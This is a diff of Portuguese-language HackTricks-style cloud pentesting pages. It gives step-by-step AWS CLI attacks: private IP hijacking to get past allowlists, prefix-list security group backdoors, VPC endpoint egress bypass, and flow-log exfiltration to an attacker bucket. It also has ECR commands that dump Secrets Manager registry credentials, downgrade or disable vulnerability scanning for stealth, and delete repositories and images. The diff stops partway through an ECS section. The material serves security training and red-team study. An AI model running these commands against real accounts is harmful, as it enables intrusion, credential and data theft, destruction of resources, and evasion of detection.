aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Linha de base: a partir da instância atacante, uma requisição para PROTECTED_HOST deve falhar sem spoofed source (por exemplo, via SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Desassociar o IP secundário da ENI da vítima
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Atribua o mesmo IP ao attacker ENI (no AWS CLI v1 adicione `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Verifique se a propriedade foi transferida
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Da instância atacante, source-bind para o hijacked IP para alcançar o host protegido (certifique-se de que o IP esteja configurado no OS; se não estiver, adicione-o com `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impacto
|
||||
- Contornar IP allowlists e personificar hosts confiáveis dentro da VPC movendo secondary private IPs entre ENIs na mesma subnet/AZ.
|
||||
- Acessar serviços internos que controlam o acesso por source IPs específicos, permitindo lateral movement e acesso a dados.
|
||||
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
Abusar de customer-managed Prefix Lists para criar uma via de acesso furtiva. Se uma security group (SG) rule referenciar uma managed Prefix List, qualquer pessoa com a capacidade de modificar essa lista pode adicionar silenciosamente CIDRs controlados pelo atacante. Toda SG (e potencialmente Network ACL ou VPC endpoint) que referenciar a lista passa a permitir imediatamente os novos intervalos sem nenhuma alteração visível na SG.
|
||||
|
||||
## Impacto
|
||||
- Expansão instantânea das faixas de IP permitidas para todas as SGs que referenciam a Prefix List, contornando controles de mudança que monitoram apenas edições de SG.
|
||||
- Habilita backdoors persistentes de ingress/egress: mantenha o CIDR malicioso oculto na Prefix List enquanto a SG rule parece inalterada.
|
||||
|
||||
## Requisitos
|
||||
- Permissões IAM:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (para identificar SGs anexadas)
|
||||
- Opcional: `ec2:CreateManagedPrefixList` se estiver criando uma nova para testes.
|
||||
- Ambiente: Pelo menos uma SG rule referenciando a Prefix List gerenciada pelo cliente alvo.
|
||||
|
||||
## Variáveis
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Etapas do Ataque
|
||||
|
||||
1) **Enumerar listas de prefixos candidatas e consumidores**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` para confirmar quais regras de SG dependem dessa prefix list.
|
||||
|
||||
2) **Adicione o CIDR do atacante à prefix list**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Validar a propagação para security groups**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
O tráfego de `$ENTRY_CIDR` agora é permitido em qualquer lugar onde a prefix list seja referenciada (comumente nas regras de saída em egress proxies ou nas regras de entrada em serviços compartilhados).
|
||||
|
||||
## Evidências
|
||||
- `get-managed-prefix-list-entries` reflete o attacker CIDR e a descrição.
|
||||
- `describe-security-group-rules` ainda mostra a regra SG original referenciando a prefix list (nenhuma modificação de SG registrada), porém o tráfego do novo CIDR é bem-sucedido.
|
||||
|
||||
## Limpeza
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,68 @@
|
||||
# AWS – Egress Bypass de subnets isoladas via VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Esta técnica abusa de VPC Endpoints para criar canais de exfiltração a partir de subnets sem Internet Gateways ou NAT. Gateway endpoints (e.g., S3) adicionam rotas de prefix‑list nas subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) criam ENIs alcançáveis com IPs privados protegidos por security groups. Com permissões mínimas de VPC/EC2, um atacante pode habilitar egress controlado que não atravessa a public Internet.
|
||||
|
||||
> Pré-requisitos: VPC existente e subnets privadas (no IGW/NAT). Você precisará de permissões para criar VPC endpoints e, para a Option B, um security group para anexar às endpoint ENIs.
|
||||
|
||||
## Opção A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Variáveis**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Crie um arquivo de endpoint policy permissivo (opcional). Salve como `allow-put-get-any-s3.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) Criar o endpoint Gateway do S3 (adiciona a rota de prefix-list do S3 às tabelas de rotas selecionadas):
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Evidências a capturar:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` mostra uma rota para a AWS S3 prefix list (por exemplo, `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- A partir de uma instância nessas subnets (with IAM perms) você pode exfil via S3 sem Internet:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Opção B – Interface VPC Endpoint for API Gateway (execute-api)
|
||||
|
||||
**Variáveis**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Crie o endpoint de interface e associe o SG:
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Evidências a capturar:
|
||||
- `aws ec2 describe-vpc-endpoints` mostra o endpoint no estado `available` com `NetworkInterfaceIds` (ENIs nas suas subnets).
|
||||
- Instances nessas subnets conseguem alcançar Private API Gateway endpoints através dessas VPCE ENIs (sem necessidade de caminho para a Internet).
|
||||
|
||||
## Impacto
|
||||
- Contorna controles de saída perimetrais aproveitando caminhos privados gerenciados pela AWS para serviços da AWS.
|
||||
- Permite exfiltração de dados a partir de subnets isoladas (por exemplo, gravar em S3; chamar Private API Gateway; acessar Secrets Manager/SSM/STS, etc.) sem IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS - Exfiltração entre contas de VPC Flow Logs para S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse `ec2:CreateFlowLogs` para exportar VPC, subnet, ou ENI flow logs diretamente para um bucket S3 controlado pelo atacante. Uma vez que o delivery role esteja configurado para gravar no bucket externo, toda conexão vista no recurso monitorado é transmitida para fora da conta da vítima.
|
||||
|
||||
## Requirements
|
||||
- Principal da vítima: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (se um delivery role for requerido/criado).
|
||||
- Bucket do atacante: política S3 que confia em `delivery.logs.amazonaws.com` com `s3:PutObject` e `bucket-owner-full-control`.
|
||||
- Opcional: `logs:DescribeLogGroups` se exportando para CloudWatch em vez de S3 (não necessário aqui).
|
||||
|
||||
## Attack Walkthrough
|
||||
|
||||
1) **Atacante** prepara uma política de bucket S3 (na conta do atacante) que permite ao VPC Flow Logs delivery service gravar objetos. Substitua os marcadores de posição antes de aplicar:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Aplicar a partir da conta do atacante:
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (principal comprometido) cria os flow logs direcionados ao attacker bucket:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
Em poucos minutos, arquivos de flow log aparecem no attacker bucket contendo conexões para todas as ENIs na VPC/sub-rede monitorada.
|
||||
|
||||
## Evidências
|
||||
|
||||
Exemplos de registros de flow log gravados no attacker bucket:
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Prova de listagem do Bucket:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Impacto
|
||||
- Continuous network metadata exfiltration (source/destination IPs, ports, protocols) for the monitored VPC/subnet/ENI.
|
||||
- Permite análise de tráfego, identificação de serviços sensíveis e potencial hunting por misconfigurações de security group a partir de fora da conta da vítima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Para mais informações, consulte
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para deletar todas as imagens no repositório** e então **deletar todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,206 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Para mais informações, consulte
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para excluir todas as imagens no repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de container armazenadas no repositório.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos admins do ECR amplo acesso de leitura ao Secrets Manager, permitindo credential exfiltration e reutilização fora da AWS.
|
||||
|
||||
Requisitos
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerar segredos candidatos do PTC
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Dump secrets descobertos e analisar campos comuns
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opcional: validar leaked creds contra o upstream (login somente leitura)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impacto
|
||||
- Ler essas entradas do Secrets Manager gera credenciais reutilizáveis do upstream registry (username/password ou token), que podem ser abusadas fora da AWS para pull de imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
|
||||
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Um atacante com permissões de ECR em nível de registry pode reduzir ou desativar silenciosamente a varredura automática de vulnerabilidades para TODOS os repositórios configurando a configuração de varredura do registry para BASIC sem quaisquer regras de scan-on-push. Isso impede que novos image pushes sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas.
|
||||
|
||||
Requisitos
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Rebaixamento do registry inteiro para manual (sem varreduras automáticas)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Teste com um repo e image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
|
||||
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
|
||||
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
|
||||
|
||||
# Verify no scan ran automatically
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opcional: degradar ainda mais no escopo do repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--repository-name "$repo" \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impacto
|
||||
- Novos pushes de imagens em todo o registry não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
|
||||
|
||||
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Reduz a qualidade da detecção de vulnerabilidades em todo o registry ao trocar o engine de scan BASIC do padrão AWS_NATIVE para o engine legado CLAIR. Isso não desativa o scanning, mas pode alterar materialmente os achados/cobertura. Combine com uma configuração de scanning do registry BASIC sem regras para tornar os scans apenas manuais.
|
||||
|
||||
Requisitos
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impacto
|
||||
- Configuração do registry `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que os scans BASIC subsequentes rodem com o engine rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
|
||||
|
||||
Passos
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Read current value so you can restore it later
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
|
||||
|
||||
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
|
||||
|
||||
# 3) Verify the setting
|
||||
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
|
||||
|
||||
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
|
||||
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
|
||||
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# AWS - ECS Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Funções IAM do Host
|
||||
|
||||
No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
|
||||
Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que, se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 a partir de um contêiner dentro da instância EC2.
|
||||
|
||||
### Privesc para nó para roubar credenciais e segredos de outros contêineres
|
||||
|
||||
Além disso, o EC2 usa docker para executar tarefas ECs, então, se você conseguir escapar para o nó ou **acessar o socket do docker**, você pode **verificar** quais **outros contêineres** estão sendo executados e até mesmo **entrar neles** e **roubar suas funções IAM** anexadas.
|
||||
|
||||
#### Fazendo contêineres rodarem no host atual
|
||||
|
||||
Além disso, a **função da instância EC2** geralmente terá permissões suficientes para **atualizar o estado da instância do contêiner** das instâncias EC2 que estão sendo usadas como nós dentro do cluster. Um atacante poderia modificar o **estado de uma instância para DRAINING**, então o ECS **removerá todas as tarefas dela** e as que estão sendo executadas como **REPLICA** serão **executadas em uma instância diferente,** potencialmente dentro da **instância do atacante**, para que ele possa **roubar suas funções IAM** e informações sensíveis potenciais de dentro do contêiner.
|
||||
```bash
|
||||
